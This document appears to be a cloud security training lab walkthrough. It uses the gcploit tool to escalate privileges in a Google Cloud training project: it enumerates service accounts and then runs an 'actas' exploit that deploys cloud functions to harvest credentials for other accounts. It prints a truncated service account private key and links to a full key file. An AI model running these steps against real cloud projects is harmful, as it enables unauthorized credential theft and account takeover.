Note: Before starting this lab, clear out any existing gcloud credentials via the following command on your AWS EC2 Student public instance:

```
sudo su -
cd /shared
mv /root/.config /root/.config-$(date +%Y%m%d%H%M%S)
ls -alF /root/
```

Install the gcploit app:

```
cd /shared

git clone https://github.com/dxa4481/gcploit.git

cd /shared/gcploit

alias gcploit="docker run -v $(pwd)/db:/db -v $HOME/.config:/root/.config -it --rm dxa4481/gcploit python main.py"
```

Populate a file with our service account starting credentials:

```
vi /shared/gcploit/key.json
```

File contents should contain the following

```
{
  "type": "service_account",
  "project_id": "gcptraininggce001",
  "private_key_id": "e4da980fa161830f84a62fd907eb9cd036a20bbc",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDGznVwT/teukdl\nrfNBNKRt+LErUvQHfMqy5I1otnS3ULvn65iTZISBN5MgxXSUar24jKMmP0/gL7mE\nSFwT
  "client_email": "test002@gcptraininggce001.iam.gserviceaccount.com",
  "client_id": "100189216083782094280",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/test002%40gcptraininggce001.iam.gserviceaccount.com"
}
```

Alternatively, download a copy of the file and SCP to your Linux system: https://www.dropbox.com/s/4eq5y79v0sbvvsm/gcptraininggce001-e4da980fa161.json?dl=0

Configure these service credentials:

```
gcloud auth activate-service-account test002@gcptraininggce001.iam.gserviceaccount.com --key-file=/shared/gcploit/key.json --project=gcptraininggce001
```

View Auth:

```
gcloud auth list
```

Use Creds:

```
gcloud config set account 'test002@gcptraininggce001.iam.gserviceaccount.com'
```

Check that credentials works:

```
gcloud info
gcloud compute instances list
```

Leverage gcploit to see what other alternate service accounts are available via these credentials:

```
gcploit --list

gcloud projects list
y

gcploit --gcloud "projects list"

gcloud iam service-accounts list --format json --project gcptraininggce001
y
```

We should see out similar to the following from the last command:

```
root@ip-10-0-1-68:/shared/gcploit# gcloud iam service-accounts list --format json --project gcptraininggce001
API [iam.googleapis.com] not enabled on project [12478690078]. Would
you like to enable and retry (this will take a few minutes)? (y/N)?  y

Enabling service [iam.googleapis.com] on project [12478690078]...
Operation "operations/acf.59950a92-9302-4430-b9e0-4a928dbfd1a9" finished successfully.
[
  {
    "disabled": false,
    "displayName": "test002",
    "email": "test002@gcptraininggce001.iam.gserviceaccount.com",
    "etag": "MDEwMjE5MjA=",
    "name": "projects/gcptraininggce001/serviceAccounts/test002@gcptraininggce001.iam.gserviceaccount.com",
    "oauth2ClientId": "100189216083782094280",
    "projectId": "gcptraininggce001",
    "uniqueId": "100189216083782094280"
  },
  {
    "disabled": false,
    "displayName": "test001",
    "email": "test001@gcptraininggce001.iam.gserviceaccount.com",
    "etag": "MDEwMjE5MjA=",
    "name": "projects/gcptraininggce001/serviceAccounts/test001@gcptraininggce001.iam.gserviceaccount.com",
    "oauth2ClientId": "105536137378790720769",
    "projectId": "gcptraininggce001",
    "uniqueId": "105536137378790720769"
  },
  {
    "disabled": false,
    "displayName": "Compute Engine default service account",
    "email": "12478690078-compute@developer.gserviceaccount.com",
    "etag": "MDEwMjE5MjA=",
    "name": "projects/gcptraininggce001/serviceAccounts/12478690078-compute@developer.gserviceaccount.com",
    "oauth2ClientId": "105781732179097421395",
    "projectId": "gcptraininggce001",
    "uniqueId": "105781732179097421395"
  }
]
...
```

Use Gcploit to expand access via creating new cloud functions with an alternate service accounts assigned and then collecting the credentials to those alternate accounts:

```
gcploit --exploit actas --project gcptraininggce001 --target_sa all

gcploit --list
```

If all worked as expected, we should see output similar to the following now:

```
root@ip-10-0-1-68:/shared/gcploit# gcploit --list
name='vktindzk', role='unknown', serviceAccount='test002@gcptraininggce001.iam.gserviceaccount.com', project='gcptraininggce001', password='vrgaznwv'
name='ccwnglqu', role='unknown', serviceAccount='test001@gcptraininggce001.iam.gserviceaccount.com', project='gcptraininggce001', password='yyukhykn'
name='sghizevg', role='unknown', serviceAccount='12478690078-compute@developer.gserviceaccount.com', project='gcptraininggce001', password='hvodiejz'
```

Explore additional features: https://github.com/dxa4481/gcploit

References:

https://github.com/dxa4481/gcploit

https://www.youtube.com/watch?v=g-JgA1hvJzA

https://www.youtube.com/watch?v=Z-JFVJZ-HDA

https://www.youtube.com/watch?v=z5hPU3g2aZ8